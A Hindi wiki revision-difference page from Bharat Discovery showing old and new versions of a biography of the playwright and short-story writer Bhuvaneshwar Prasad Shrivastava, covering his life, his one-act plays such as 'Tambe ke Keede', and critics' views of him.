"भुवनेश्वर (साहित्यकार)": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
(''''भुवनेश्वर प्रसाद श्रीवास्तव''' (अंग्रेज़ी:''Bhuvaneshvar Prasa...' के साथ नया पन्ना बनाया)
 
 
(4 सदस्यों द्वारा किए गए बीच के 16 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''भुवनेश्वर प्रसाद श्रीवास्तव''' ([[अंग्रेज़ी]]:''Bhuvaneshvar Prasad Shrivastava'', जन्म: [[1910]] - मृत्यु:  [[1957]]) [[हिंदी]] के प्रसिद्ध एकांकीकार, लेखक एवं कवि थे। भुवनेश्वर साहित्य जगत का ऐसा नाम है, जिसने अपने छोटे से जीवन काल में लीक से अलग किस्म का साहित्य सृजन किया। भुवनेश्वर ने मध्य वर्ग की विडंबनाओं को कटु सत्य के प्रतीरूप में उकेरा। उन्हें आधुनिक एकांकियों के जनक होने का गौरव भी हासिल है। [[एकांकी]], [[कहानी]], [[कविता]], समीक्षा जैसी कई विधाओं में भुवनेश्वर ने साहित्य को नए तेवर वाली रचनाएं दीं। एक ऐसा साहित्यकार जिसने अपनी रचनाओं से आधुनिक संवेदनाओं की नई परिपाटी विकसित की। [[प्रेमचंद]] जैसे साहित्यकार ने उनको भविष्य का रचनाकार माना था। इसकी एक ख़ास वजह यह थी कि भुवनेश्वर अपने रचनाकाल से बहुत आगे की सोच के रचनाकार थे। उनकी रचनायों में कलातीतता का बोध है, परन्तु आश्चर्यजनक रूप से यह भूतकाल से न जुड़ कर भविष्य के साथ ज्यादा प्रासंगिक नज़र आती हैं। ‘कारवां’ की भूमिका में स्वयं भुवनेश्वर ने लिखा है कि ‘विवेक और तर्क तीसरी श्रेणी के कलाकारों के चोर दरवाज़े हैं”। उनका यह मानना उनकी रचनाओं में स्पष्टतया द्रष्टिगोचर भी होता भी है। इंसान को वस्तु में बदलते जाने की जो तस्वीर उन्होंने उकेरी, वो आज के समय में और भी अधिक प्रासंगिक हो जाती है।   
{{सूचना बक्सा साहित्यकार
|चित्र=blankimage.png
|चित्र का नाम=भुवनेश्वर
|पूरा नाम=भुवनेश्वर प्रसाद श्रीवास्तव
|अन्य नाम=
|जन्म= [[20 जून]], [[1910]] 
|जन्म भूमि= [[शाहजहांपुर]], [[उत्तर प्रदेश]]
|मृत्यु=[[1957]]
|मृत्यु स्थान=[[लखनऊ]],  [[उत्तर प्रदेश]]
|अभिभावक=
|पालक माता-पिता=
|पति/पत्नी=
|संतान=
|कर्म भूमि=
|कर्म-क्षेत्र=एकांकीकार, कहानीकार, आलोचक, कवि
|मुख्य रचनाएँ=श्यामा : एक वैवाहिक विडंबना,  एक साम्यहीन साम्यवादी, प्रतिभा का विवाह (सभी एकांकी), भेड़िये, ‘मौसी’, ‘लड़ाई’, ‘माँ बेटे’, ‘मास्टनी’ (सभी कहानी) आदि
|विषय=
|भाषा=[[हिंदी]]
|विद्यालय=
|शिक्षा=
|पुरस्कार-उपाधि=
|प्रसिद्धि=
|विशेष योगदान=
|नागरिकता=भारतीय
|संबंधित लेख=
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=[[प्रेमचंद]] ने भुवनेश्वर को भविष्य का रचनाकार माना था। इसकी एक ख़ास वजह थी कि भुवनेश्वर अपने रचनाकाल से बहुत आगे की सोच के रचनाकार थे।
|बाहरी कड़ियाँ=
|अद्यतन=
}}
{{बहुविकल्प|बहुविकल्पी शब्द=भुवनेश्वर|लेख का नाम=भुवनेश्वर (बहुविकल्पी)}}
'''भुवनेश्वर प्रसाद श्रीवास्तव''' ([[अंग्रेज़ी]]:''Bhuvaneshvar Prasad Shrivastava'', जन्म: [[20 जून]], [[1910]]<ref>{{cite web |url=https://www.amarujala.com/uttar-pradesh/shahjahanpur/Shahjahanpur-44494-123 |title=हिंदी एकांकी के जनक थे भुवनेश्वर|accessmonthday=[[25 मार्च]]  |accessyear=[[2020]] |last= |first= |authorlink= |format= |publisher=अमर उजाला|language=[[हिन्दी]]}}</ref> - मृत्यु:  [[1957]]) [[हिंदी]] के प्रसिद्ध एकांकीकार, लेखक एवं कवि थे। भुवनेश्वर साहित्य जगत् का ऐसा नाम है, जिसने अपने छोटे से जीवन काल में लीक से अलग किस्म का साहित्य सृजन किया। भुवनेश्वर ने मध्य वर्ग की विडंबनाओं को कटु सत्य के प्रतीरूप में उकेरा। उन्हें आधुनिक एकांकियों के जनक होने का गौरव भी हासिल है। [[एकांकी]], [[कहानी]], [[कविता]], समीक्षा जैसी कई विधाओं में भुवनेश्वर ने साहित्य को नए तेवर वाली रचनाएं दीं। एक ऐसा साहित्यकार जिसने अपनी रचनाओं से आधुनिक संवेदनाओं की नई परिपाटी विकसित की। [[प्रेमचंद]] जैसे साहित्यकार ने उनको भविष्य का रचनाकार माना था। इसकी एक ख़ास वजह यह थी कि भुवनेश्वर अपने रचनाकाल से बहुत आगे की सोच के रचनाकार थे। उनकी रचनायों में कलातीतता का बोध है, परन्तु आश्चर्यजनक रूप से यह भूतकाल से न जुड़ कर भविष्य के साथ ज्यादा प्रासंगिक नज़र आती हैं। ‘कारवां’ की भूमिका में स्वयं भुवनेश्वर ने लिखा है कि ‘विवेक और तर्क तीसरी श्रेणी के कलाकारों के चोर दरवाज़े हैं”। उनका यह मानना उनकी रचनाओं में स्पष्टतया द्रष्टिगोचर भी होता भी है। इंसान को वस्तु में बदलते जाने की जो तस्वीर उन्होंने उकेरी, वो आज के समय में और भी अधिक प्रासंगिक हो जाती है।   
==जीवन परिचय==
==जीवन परिचय==
भुवनेश्वर का जन्म [[शाहजहांपुर]] ([[उत्तर प्रदेश]]) के केरुगंज (खोया मंडी) में, [[1910]] में एक खाते-पीते परिवार में हुआ था। परन्तु बचपन में ही माँ की मौत से अचानक परिस्थितियां उनके विपरीत हो गई। इंटरमीडिएट का ये विद्यार्थी शाहजहांपुर को अलविदा करके [[इलाहाबाद]] चला गया। उस समय के भुवनेश्वर का बौद्धिक ज्ञान, हिन्दी-अंग्रेजी भाषाओं पर समान अधिकार, इंसानी रिश्तों को समझने का अदभुत नजरिया समकालीन लेखकों के लिए अचरज से कम नहीं था। परन्तु व्यक्तिगत रूप से स्वयं भुवनेश्वर का जीवन आभावों एवं कठिनताओं का पुलिंदा था। [[इलाहाबाद]], [[बनारस]], [[लखनऊ]] में भटकते भुवनेश्वर के लिए मित्र मंडली के घर आसरा, और कठिनाइयों का चोली दामन का साथ रहा। परन्तु इन परेशानियों में भी उनकी साहित्य यात्रा अनवरत जारी रही। एक बार स्वयं प्रेमचंद ने उनसे अपने लेखन में ‘कटुता’ कम करने की राय दी थी, जिस पर उन्होंने कहा कि इस ‘कटुता’ की उपज के पीछे के कारणों की भी पड़ताल होनी चाहिये। शायद यही कारण, वो तमाम विसंगतियां थी, जिनका सामना उन्हें अपने जीवन में करना पड़ा। [[1957]] में लखनऊ स्टेशन पर भुवनेश्वर ने दुनिया को अलविदा कह दिया।
भुवनेश्वर का जन्म [[शाहजहांपुर]] ([[उत्तर प्रदेश]]) के केरुगंज (खोया मंडी) में, 20 जून, [[1910]] में एक खाते-पीते [[परिवार]] में हुआ था। परन्तु बचपन में ही [[माँ]] की मौत से अचानक परिस्थितियां उनके विपरीत हो गई। इंटरमीडिएट का ये विद्यार्थी शाहजहांपुर को अलविदा करके [[इलाहाबाद]] चला गया। उस समय के भुवनेश्वर का बौद्धिक ज्ञान, [[हिन्दी]]-[[अंग्रेजी]] भाषाओं पर समान अधिकार, इंसानी रिश्तों को समझने का अदभुत नजरिया समकालीन लेखकों के लिए अचरज से कम नहीं था। परन्तु व्यक्तिगत रूप से स्वयं भुवनेश्वर का जीवन अभावों एवं कठिनताओं का पुलिंदा था। [[इलाहाबाद]], [[बनारस]], [[लखनऊ]] में भटकते भुवनेश्वर के लिए मित्र मंडली के घर आसरा, और कठिनाइयों का चोली दामन का साथ रहा। परन्तु इन परेशानियों में भी उनकी साहित्य यात्रा अनवरत जारी रही। एक बार स्वयं [[प्रेमचंद]] ने उनसे अपने लेखन में ‘कटुता’ कम करने की राय दी थी, जिस पर उन्होंने कहा कि इस ‘कटुता’ की उपज के पीछे के कारणों की भी पड़ताल होनी चाहिये। शायद यही कारण, वो तमाम विसंगतियां थी, जिनका सामना उन्हें अपने जीवन में करना पड़ा। [[1957]] में लखनऊ स्टेशन पर भुवनेश्वर ने दुनिया को अलविदा कह दिया। भुवनेश्वर की नियति पर [[रघुवीर सहाय]] की टिप्पणी सर्वाधिक सटीक है, 'उनके साथ समाज ने जो किया, वह सच बोलने और सच्चे होने की ऐसे समाज द्वारा दी गई सजा थी, जो अपने को गुलामी से निकालकर आज़ाद होने के विरुद्ध था।'<ref>{{cite web |url=https://www.amarujala.com/columns/opinion/there-is-no-discussion-of-searching-and-creations-of-creator-bhubaneswar-memories |title=भुवनेश्वर यानी हिंदी के बर्नाड शॉ|accessmonthday=[[25 मार्च]]  |accessyear=[[2020]] |last= |first= |authorlink= |format= |publisher=अमर उजाला|language=[[हिन्दी]]}}</ref>
 
==साहित्यिक परिचय==
==साहित्यिक परिचय==
भुवनेश्वर की साहित्य साधना बहुआयामी थी। कहानी, कविता, एकांकी और समीक्षा सब में उनकी लेखनी एक नए कलेवर का एहसास दिलाती है। छोटी सी घटना को भी नई, परन्तु वास्तविकता के सर्वाधिक सन्निकट द्रष्टि से देखने का नजरिया भुवनेश्वर की विशेषता है। 'हंस’ में 1933 में भुवनेश्वर का पहला एकांकी ‘श्यामा: एक वैवाहिक विडम्बना’ प्रकाशित हुआ था। 1935 में प्रकाशित एकांकी संग्रह ‘कारवां’ ने उन्हें एकांकीकार के रूप में प्रतिष्ठित कर दिया। भुवनेश्वर द्वारा लिखित नाटक ‘तांबे का कीड़ा’ (1946) को विश्व की किसी भी भाषा में भी लिखे गये पहले असंगत नाटक का सम्मान प्राप्त है। उनके द्वारा लिखित एकांकियों में ‘श्यामःएक वैवाहिक विडम्वना’, ‘रोमांसःरोमांच’, ‘स्ट्राइक’, ‘ऊसर’, ‘सिकन्दर’ आदि का नाम उल्लेखनीय है। भुवनेश्वर की पहली कहानी ‘मौसी’ को [[प्रेमचंद]] ने समकालीन कहानियों के प्रतिनिधि संकलन ‘हिंदी की आदर्श कहानियां’ में स्थान दिया। उनकी कहानी ‘भेडिये’ हंस के [[अप्रैल]] [[1938]] अंक में प्रकाशित हुई। इस कहानी ने आधुनिक कहानियों की परम्परा में मज़बूत नीव का निर्माण किया। कैसे रेगिस्तान से गुजरता बंजारा भेड़ियों से जान बचाने के लिए उनके आगे चुग्गा फेंकता है। कहानी और जीवन दोनों में फेंकने के इस क्रम में सबसे पहले फेंकी जाती हैं वो चीजें जो अपेक्षाकृत कम महत्व की हैं। इस कहानी ने जीवन की कडवी सच्चाई को बिना लाग-लपेट के प्रस्तुत किया। कुछ साहित्यकार तो इस कहानी के मर्म को किसी मैनेजमेंट क्लास के चुनिन्दा निष्कर्षों में भी सर्वश्रेष्ट मानते हैं। ‘मौसी’, ‘लड़ाई’, ‘माँ बेटे’, ‘मास्टनी’ आदि अन्य उल्लेखनीय कहानियाँ हैं। <br />
भुवनेश्वर की साहित्य साधना बहुआयामी थी। [[कहानी]], [[कविता]], [[एकांकी]] और [[समीक्षा]] सब में उनकी लेखनी एक नए कलेवर का एहसास दिलाती है। छोटी सी घटना को भी नई, परन्तु वास्तविकता के सर्वाधिक सन्निकट दृष्टि से देखने का नजरिया भुवनेश्वर की विशेषता है। 'हंस’ में [[1933]] में भुवनेश्वर का पहला एकांकी ‘श्यामा: एक वैवाहिक विडम्बना’ प्रकाशित हुआ था। 1935 में प्रकाशित एकांकी संग्रह ‘कारवां’ ने उन्हें एकांकीकार के रूप में प्रतिष्ठित कर दिया।  
इसके अतिरिक्त भुवनेश्वर ने [[अंग्रेज़ी]] तथा [[हिन्दी]] में कुछ कविताएं तथा आलोचनात्मक लेख भी लिखे हैं। परन्तु उनके कृतित्व को पहचानने में लोगों ने भूल कर दी। शायद यही कारण था, कि इस अनोखे रचनाकार को पूरा जीवन संघर्षो और विवादों में गुजारना पड़ा। प्रेमचंद ने उनसे हंस से स्थाई रूप से जुड़ने का आग्रह किया था। परन्तु अनजाने कारणों से ये संवाद पूरा ना हो सका। हालांकि उनकी रचनायें हंस में लगातार प्रकाशित होती रहीं। लेकिन अगर वो हंस के साथ जुड़ जाते तो उनका रचना संसार कहीं अधिक विस्तृत रूप में हमारे सामने होता। उनके अंतिम समय की रचनाओं को सहेजना वाला उनके साथ कोई नहीं था, जिसके फलस्वरूप उस दौरान रफ़ कागजों के पीछे लिखा गया हिंदी और अंग्रेजी का पूर्णतया मौलिक साहित्य अंधेरों में गुम हो गया। भुवनेश्वर की उपलब्ध सभी रचनाओं को आज पुनः लोगों तक पंहुचाने की आवश्यकता है।
 
==साहित्यिक विशेषताएँ==
भुवनेश्वर द्वारा लिखित नाटक ‘तांबे का कीड़ा’ (1946) को विश्व की किसी भी [[भाषा]] में भी लिखे गये पहले '''असंगत नाटक का सम्मान''' प्राप्त है। उनके द्वारा लिखित एकांकियों में ‘श्यामःएक वैवाहिक विडम्वना’, ‘रोमांसः रोमांच’, ‘स्ट्राइक’, ‘ऊसर’, ‘सिकन्दर’ आदि का नाम उल्लेखनीय है। भुवनेश्वर की पहली कहानी ‘मौसी’ को [[प्रेमचंद]] ने समकालीन कहानियों के प्रतिनिधि संकलन ‘हिंदी की आदर्श कहानियां’ में स्थान दिया। उनकी कहानी ‘भेडिये’ हंस के [[अप्रैल]] [[1938]] अंक में प्रकाशित हुई। इस कहानी ने आधुनिक कहानियों की परम्परा में मज़बूत नींव का निर्माण किया। कैसे रेगिस्तान से गुजरता बंजारा भेड़ियों से जान बचाने के लिए उनके आगे चुग्गा फेंकता है। कहानी और जीवन दोनों में फेंकने के इस क्रम में सबसे पहले फेंकी जाती हैं वो चीजें जो अपेक्षाकृत कम महत्व की हैं। इस कहानी ने जीवन की कडवी सच्चाई को बिना लाग-लपेट के प्रस्तुत किया। कुछ साहित्यकार तो इस कहानी के मर्म को किसी मैनेजमेंट क्लास के चुनिन्दा निष्कर्षों में भी सर्वश्रेष्ठ मानते हैं। ‘मौसी’, ‘लड़ाई’, ‘माँ बेटे’, ‘मास्टनी’ आदि अन्य उल्लेखनीय कहानियाँ हैं। <br />
लेखक की रचनाओं के अनुशीलन से यही धारणा बनती है कि पश्चिम के आधुनिक साहित्य का उन्होंने अच्छा अध्ययन किया है। इब्सन, शा. डी. एच., लारेंस तथा फ्रायड के प्रति विशेष अनुरक्त प्रतीत होते हैं। ज़िन्दगी को उन्होंने कड़वाहट, तीखेपन, विकृति और विद्रुपता से ही देखा था। सम्भवतः इसी कारण उनमें समाज के प्रति तीव्र वितृष्णा, प्रबल आक्रोश और उग्र विद्रोह का भाव प्रकट हुआ है। जीवन की इस कटु अनुभूति ने ही उन्हें फक्क्ड़, निर्द्वन्द्व और संयमहीन बना दिया था। भुवनेश्वर ने हिन्दी पाश्चात्य शैली के एकांकी की परंपरा बनायी। उनकी प्रथम रचना 'श्यामा--एक वैवाहिक विडंबना', 'हंस' के [[दिसंबर]], 1933 ई. के अंक में प्रकाशित हुई। इसके बाद अन्य एकांकी रचनाएँ 'शैतान' (1934 ई.), 'एक साम्यहीन साम्यवादी' (हंस,मार्च 1934 ई.), 'प्रतिभा का विवाह' (1933 ई.), 'रहस्य रोमांच' (1935 ई.), 'लाटरी' (1935 ई.) प्रकाशित हुईं। इन्हें संग्रहीत करके उन्होंने सन 1956 ई. में 'कारवां' संज्ञा देकर प्रकाशित किया। इन सभी एकांकियों पर पश्चिम की एकांकी शैली की छाप है। विषय-वस्तु और समस्या के विश्लेषण में पश्चिम के बुद्धिवादी नाटककारों इब्सन और शा का प्रभाव है। परिशिष्ट करने वाले जो सूत्र-वाक्य दिये हैं, वे शा के व्यंग और फ्रायड की यौन-प्रधान विचारधारा का स्मरण दिलाते हैं। भुवनेश्वर के और भी [[एकांकी]] प्रकाशित होते रहे--'मृत्यु' ('हंस 1936 ई.), 'हम अकेले नहीं हैं' तथा 'सवा आठ बजे' ('भारत'), 'स्ट्राइक' और 'ऊसर' ('हंस' 1938 ई.) इन रचनाओं में उनकी दृष्टि का विस्स्तार देखने को मिलता है। यौन-समस्या तथा प्रेम के त्रिकोण से ऊपर उठकर वे समाज के दुख-दर्द को भी देखने लगे। सन 1938 ई. में [[सुमित्रानंदन पंत]] द्वारा संपादित 'रूपाभ' पत्रिका में उन्होंने एक बड़े नाटक 'आदमखोर' का पहला अंक प्रकाशित कराया। इससे उन्होंने जीवन की कटु वास्तविकताओं के उदघाटन का घोर यथार्थवादी दृष्टिकोण अपनाया है। सन 1940 ई. में उन्होंने गोगोल के प्रसिद्ध नाटक 'इंस्पेक्टर जनरल' को लगभग पौन घंटे के एकांकी का रूप दिया। सन 1941 ई. में 'विश्ववाणी' में 'रोशनी और आग'  शीर्षक एक प्रयोग उपस्थित  किया, जिसमें ग्रीक नाटकों जैसा पूर्वालाप (कोरस) था। 'कठपुतलियाँ' (1942 ई.) में उन्होंने प्रतीकवादी शैली अपनायी। इन प्रयोगात्मक रचनाओं के अनंतर भुवनेवर की नाट्यकला परिपक्व रूप में देखने को मिली। 'फोटोग्राफर के सामने' (1945 ई.),'तांबे के कीड़े' (1946 ई.) में मनुष्य की बढ़ती हुई अर्थलोलुपता का उद्घाटन है। सन 1948 ई. में 'इतिहास की केंचुल' एकाकी लिखा और इसके अनंतर उनके कई एतिहासिक एकांकी प्रकाशित हुए-- 'आज़ादी की नींव' (1949 ई.), 'जेरूसलम' (1949 ई.),'सिकंदर (1949 ई.),'अकबर' (1950 ई.) तथा चंगेज़ खाँ (1950 ई.)। इन रचनाओं में राष्ट्रीयता का स्वर भी उभारा है। अंतिम कृति 'सीओ की गाड़ी' (1950 ई.) है।<ref>पुस्तक- हिंदी साहित्य कोश-2 | सम्पादक- धीरेंद्र वर्मा | पृष्ठ- 414</ref>
 
इसके अतिरिक्त भुवनेश्वर ने [[अंग्रेज़ी]] तथा [[हिन्दी]] में कुछ [[कविता|कविताएं]] तथा आलोचनात्मक लेख भी लिखे हैं। परन्तु उनके कृतित्व को पहचानने में लोगों ने भूल कर दी। शायद यही कारण था, कि इस अनोखे रचनाकार को पूरा जीवन संघर्षो और विवादों में गुजारना पड़ा। [[प्रेमचंद]] ने उनसे हंस से स्थाई रूप से जुड़ने का आग्रह किया था। परन्तु अनजाने कारणों से ये संवाद पूरा ना हो सका। हालांकि उनकी रचनायें हंस में लगातार प्रकाशित होती रहीं। लेकिन अगर वो हंस के साथ जुड़ जाते तो उनका रचना संसार कहीं अधिक विस्तृत रूप में हमारे सामने होता। उनके अंतिम समय की रचनाओं को सहेजना वाला उनके साथ कोई नहीं था, जिसके फलस्वरूप उस दौरान रफ़ कागजों के पीछे लिखा गया हिंदी और अंग्रेजी का पूर्णतया मौलिक साहित्य अंधेरों में गुम हो गया। भुवनेश्वर की उपलब्ध सभी रचनाओं को आज पुनः लोगों तक पंहुचाने की आवश्यकता है।
==साहित्यकारों की नज़रों में==
भानु भारती ने एक समय कहा भी था कि जब उन्होंने भुवनेश्वर के नाटक तांबे के कीड़े पर काम करना शुरू किया, तो उन्हें आश्चर्य हुआ कि आख़िर 1946 में जब विश्व रंगमंच पर ऑयनोस्की और बैकेट का आगमन नहीं हुआ था, तो भुवनेश्वर द्वारा ऐसे नाटकों की परिकल्पना करना कितना आश्चर्यजनक है। छोटे कद, उलझे और बिखरे हुए बाल, मैला-सा पुराना कुर्ता-पायजामा, पैरों में साधारण-सी चप्पल और उंगलियों में सुलगी हुई बीड़ी फंसाए इसी मामूली आदमी ने अपनी प्रतिभा के बल पर '''हिंदी नाटकों के एक युग का सूत्रपात''' किया था।
 
[[रामविलास शर्मा]] ने उन्हें ‘न्यूरोटिक’ कहा, तो [[शमशेर बहादुर सिंह|शमशेर]] ने उनके लिए नवाब, गिरहकट, ‘विट’ लिखा है। नवाब यानी जेब खाली, लेकिन आदतें रईसों जैसी। रामेश्वर शुक्ल 'अंचल' ने एक बार कहा था कि ‘न जाने क्यों भुवनेश्वर को यह गिला रहता था कि वह साहित्य-जगत में अस्वीकृत होने और ठोकर खाते हुए मिटते जाने के लिए ही लेखक बने हैं।’
 
==कृतियाँ==
{| class="bharattable-pink"
|-valign="top"
|
; कहानी
* आजादी : एक पत्र
* एक रात
* जीवन की झलक
* डाकमुंशी
* भेड़िये
* भविष्य के गर्भ में
* माँ-बेटे
* मास्टरनी
* मौसी
* लड़ाई
* सूर्यपूजा
* हाय रे, मानव हृदय!
|
; एकांकी
* एक साम्यहीन साम्यवादी
* एकाकी के भाव
* पतित (शैतान)
* प्रतिभा का विवाह
* श्यामा : एक वैवाहिक विडंबना
* आज़ादी की नींव
* जेरूसलम
* सिकंदर
* अकबर
* चंगेज़ खाँ
* मृत्यु
* हम अकेले नहीं हैं
* सवा आठ बजे
|}
==प्रेमचन्द की खोज==
'''भुवनेश्वर''' [[प्रेमचन्द]] की खोज हैं । इसके दो प्रमाण हैं-
#उनकी अब तक प्राप्त 12 [[कहानी|कहानियों]] में से 9 और अब तक प्राप्त 17 [[नाटक|नाटकों]] में से 9 प्रेमचन्द द्वारा संस्थापित ‘हंस’ पत्रिका में ही प्रकाशित हुए ।
#भुवनेश्वर की पहली और एकमात्र प्रकाशित किताब ‘कारवाँ’ की पहली समीक्षा खुद प्रेमचन्द ने लिखी ।
 
लेकिन भुवनेश्वर मात्र एक कहानीकार–एकांकीकार ही नहीं, एक उत्कृष्ट कवि, सूक्तिकार और मारक टिप्पणीकार भी हैं । अपने सम्पूर्ण लेखन में वे कहीं भी दबी ज़बान से नहीं बोलते । उनकी अंग्रेज़ी की 10 कविताओं में सत्यकथन की अघोर हिंसा का जो हाहाकार है वह हिन्दी कविता के तत्कालीन (छायावादी) वातावरण के बिल्कुल विपरीत और अत्याधुनिक है । भुवनेश्वर ने ‘डाकमुंशी’ और ‘एक रात’ जैसी कहानियाँ लिखकर प्रेमचन्द के चरित्रवाद और घटनात्मक कथानकवाद का एक ‘तोड़’ प्रस्तुत किया । उनकी ‘भेड़िये’ कहानी आज की गलाकाट प्रतियोगिताओं की एक प्रतीकात्मक पूर्व झाँकी है, जहाँ अपना अस्तित्व बचाए रखने के लिए दूसरों की बलि चढ़ाने में ज़रा भी हिचक नहीं । उनके प्रसिद्ध नाटक ‘ताँबे के कीड़े’ में संवादों के होते हुए भी संवादात्मकता का पूरी तरह लोप है । भुवनेश्वर के सम्पूर्ण लेखन में सन्नाटे का एक ‘अनहद’ है जो कहीं से भी आध्यात्मिक नहीं । भुवनेश्वर [[हिन्दी]] के एक ऐसे उपेक्षित और भुलाए गए लेखक हैं, जो अपनी पैदाइश के आज सौ वर्षों बाद अब ज़्यादा प्रासंगिक और आधुनिक नज़र आते हैं । भुवनेश्वर आने वाली पीढ़ियों के लेखक हैं। <ref>{{cite web|url=https://www.rajkamalprakashan.com/index.php/default/bhuvneswar-samagra |title=भुवनेश्वर समग्र |accessmonthday=[[26मार्च]]  |accessyear=[[2020]] |last= |first= |authorlink= |format= |publisher=राजकमल प्रकाशन समूह |language=[[हिन्दी]]}}</ref>
 
==साहित्यिक विशेषता==
लेखक की रचनाओं के अनुशीलन से यही धारणा बनती है कि पश्चिम के आधुनिक साहित्य का उन्होंने अच्छा अध्ययन किया है। इब्सन, शॉ. डी. एच., लॉरेंस तथा फ्रॉयड के प्रति विशेष अनुरक्त प्रतीत होते हैं। ज़िन्दगी को उन्होंने कड़वाहट, तीखेपन, विकृति और विद्रुपता से ही देखा था। सम्भवतः इसी कारण उनमें समाज के प्रति तीव्र वितृष्णा, प्रबल आक्रोश और उग्र विद्रोह का भाव प्रकट हुआ है। जीवन की इस कटु अनुभूति ने ही उन्हें फक्क्ड़, निर्द्वन्द्व और संयमहीन बना दिया था। भुवनेश्वर ने हिन्दी पाश्चात्य शैली के एकांकी की परंपरा बनायी।  
 
उनकी प्रथम रचना 'श्यामा--एक वैवाहिक विडंबना', 'हंस' के [[दिसंबर]], 1933 ई. के अंक में प्रकाशित हुई। इसके बाद अन्य एकांकी रचनाएँ 'शैतान' (1934 ई.), 'एक साम्यहीन साम्यवादी' (हंस, [[मार्च]] [[1934]] ई.), 'प्रतिभा का विवाह' (1933 ई.), 'रहस्य रोमांच' (1935 ई.), 'लाटरी' (1935 ई.) प्रकाशित हुईं। इन्हें संग्रहीत करके उन्होंने सन 1956 ई. में 'कारवां' संज्ञा देकर प्रकाशित किया। इन सभी एकांकियों पर पश्चिम की एकांकी शैली की छाप है। विषय-वस्तु और समस्या के विश्लेषण में पश्चिम के बुद्धिवादी नाटककारों इब्सन और शॉ का प्रभाव है। परिशिष्ट करने वाले जो सूत्र-वाक्य दिये हैं, वे शॉ के व्यंग और फ्रॉयड की यौन-प्रधान विचारधारा का स्मरण दिलाते हैं।  
 
भुवनेश्वर के और भी [[एकांकी]] प्रकाशित होते रहे- 'मृत्यु' ('हंस 1936 ई.), 'हम अकेले नहीं हैं' तथा 'सवा आठ बजे' ('भारत'), 'स्ट्राइक' और 'ऊसर' ('हंस' 1938 ई.)इन रचनाओं में उनकी दृष्टि का विस्तार देखने को मिलता है। यौन-समस्या तथा प्रेम के त्रिकोण से ऊपर उठकर वे समाज के दुख-दर्द को भी देखने लगे। सन 1938 ई. में [[सुमित्रानंदन पंत]] द्वारा संपादित 'रूपाभ' पत्रिका में उन्होंने एक बड़े नाटक 'आदमखोर' का पहला अंक प्रकाशित कराया। इससे उन्होंने जीवन की कटु वास्तविकताओं के उद्घाटन का घोर यथार्थवादी दृष्टिकोण अपनाया है।  
 
सन 1940 ई. में उन्होंने गोगोल के प्रसिद्ध नाटक 'इंस्पेक्टर जनरल' को लगभग पौन घंटे के एकांकी का रूप दिया। सन 1941 ई. में 'विश्ववाणी' में 'रोशनी और आग'  शीर्षक एक प्रयोग उपस्थित  किया, जिसमें ग्रीक नाटकों जैसा पूर्वालाप, कोरस था। 'कठपुतलियाँ' (1942 ई.) में उन्होंने प्रतीकवादी शैली अपनायी। इन प्रयोगात्मक रचनाओं के अनंतर भुवनेवर की नाट्यकला परिपक्व रूप में देखने को मिली। 'फोटोग्राफर के सामने' (1945 ई.), 'तांबे के कीड़े' (1946 ई.) में मनुष्य की बढ़ती हुई अर्थलोलुपता का उद्घाटन है। सन 1948 ई. में 'इतिहास की केंचुल' एकांकी लिखा और इसके अनंतर उनके कई ऐतिहासिक एकांकी प्रकाशित हुए- 'आज़ादी की नींव' (1949 ई.), 'जेरूसलम' (1949 ई.), 'सिकंदर (1949 ई.), 'अकबर' (1950 ई.) तथा चंगेज़ खाँ (1950 ई.)। इन रचनाओं में राष्ट्रीयता का स्वर भी उभरा है। अंतिम कृति 'सीओ की गाड़ी' (1950 ई.) है।<ref>पुस्तक- हिंदी साहित्य कोश-2 | सम्पादक- धीरेंद्र वर्मा | पृष्ठ- 414</ref>




{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
==बाहरी कड़ियाँ==
==बाहरी कड़ियाँ==
*[https://mbasic.facebook.com/loktantrikmedia?v=timeline&timecutoff=1400477160&sectionLoadingID=m_timeline_loading_div_1388563199_1357027200_8_&timeend=1388563199&timestart=1357027200&tm=AQAB0sMF0lVEG-DA हमारी विरासत : भुवनेश्वर ]
*[https://mbasic.facebook.com/photo.php?fbid=709243572427402&id=100000252961682&set=gm.182519875288955&source=46&refid=17 हमारी विरासत : भुवनेश्वर ]
*[http://www.deshbandhu.co.in/newsdetail/4288/3/0#.VA2zY8XoQzl भुवनेश्वर : शमशेर की नजर में]
*[http://www.amarujala.com/news/states/uttar-pradesh/shahjahanpur/Shahjahanpur-44494-123/ हिंदी एकांकी के जनक थे भुवनेश्वर]
==संबंधित लेख==
==संबंधित लेख==
{{साहित्यकार}}{{भारत के कवि}}
{{नाटककार}}{{साहित्यकार}}{{आलोचक एवं समीक्षक}}
[[Category: कवि]][[Category: साहित्यकार]][[Category: कहानीकार]][[Category: साहित्य कोश]][[Category: नाटककार]][[Category: चरित कोश]]
[[Category: कवि]][[Category: साहित्यकार]][[Category: कहानीकार]][[Category: साहित्य कोश]][[Category: नाटककार]][[Category: चरित कोश]]
[[Category:समीक्षक]]
[[Category:समीक्षक]]
__INDEX__
__INDEX__
__NOTOC__
__NOTOC__

13:47, 26 मार्च 2020 के समय का अवतरण

भुवनेश्वर (साहित्यकार)
भुवनेश्वर
भुवनेश्वर
पूरा नाम भुवनेश्वर प्रसाद श्रीवास्तव
जन्म 20 जून, 1910
जन्म भूमि शाहजहांपुर, उत्तर प्रदेश
मृत्यु 1957
मृत्यु स्थान लखनऊ, उत्तर प्रदेश
कर्म-क्षेत्र एकांकीकार, कहानीकार, आलोचक, कवि
मुख्य रचनाएँ श्यामा : एक वैवाहिक विडंबना, एक साम्यहीन साम्यवादी, प्रतिभा का विवाह (सभी एकांकी), भेड़िये, ‘मौसी’, ‘लड़ाई’, ‘माँ बेटे’, ‘मास्टनी’ (सभी कहानी) आदि
भाषा हिंदी
नागरिकता भारतीय
अन्य जानकारी प्रेमचंद ने भुवनेश्वर को भविष्य का रचनाकार माना था। इसकी एक ख़ास वजह थी कि भुवनेश्वर अपने रचनाकाल से बहुत आगे की सोच के रचनाकार थे।
इन्हें भी देखें कवि सूची, साहित्यकार सूची
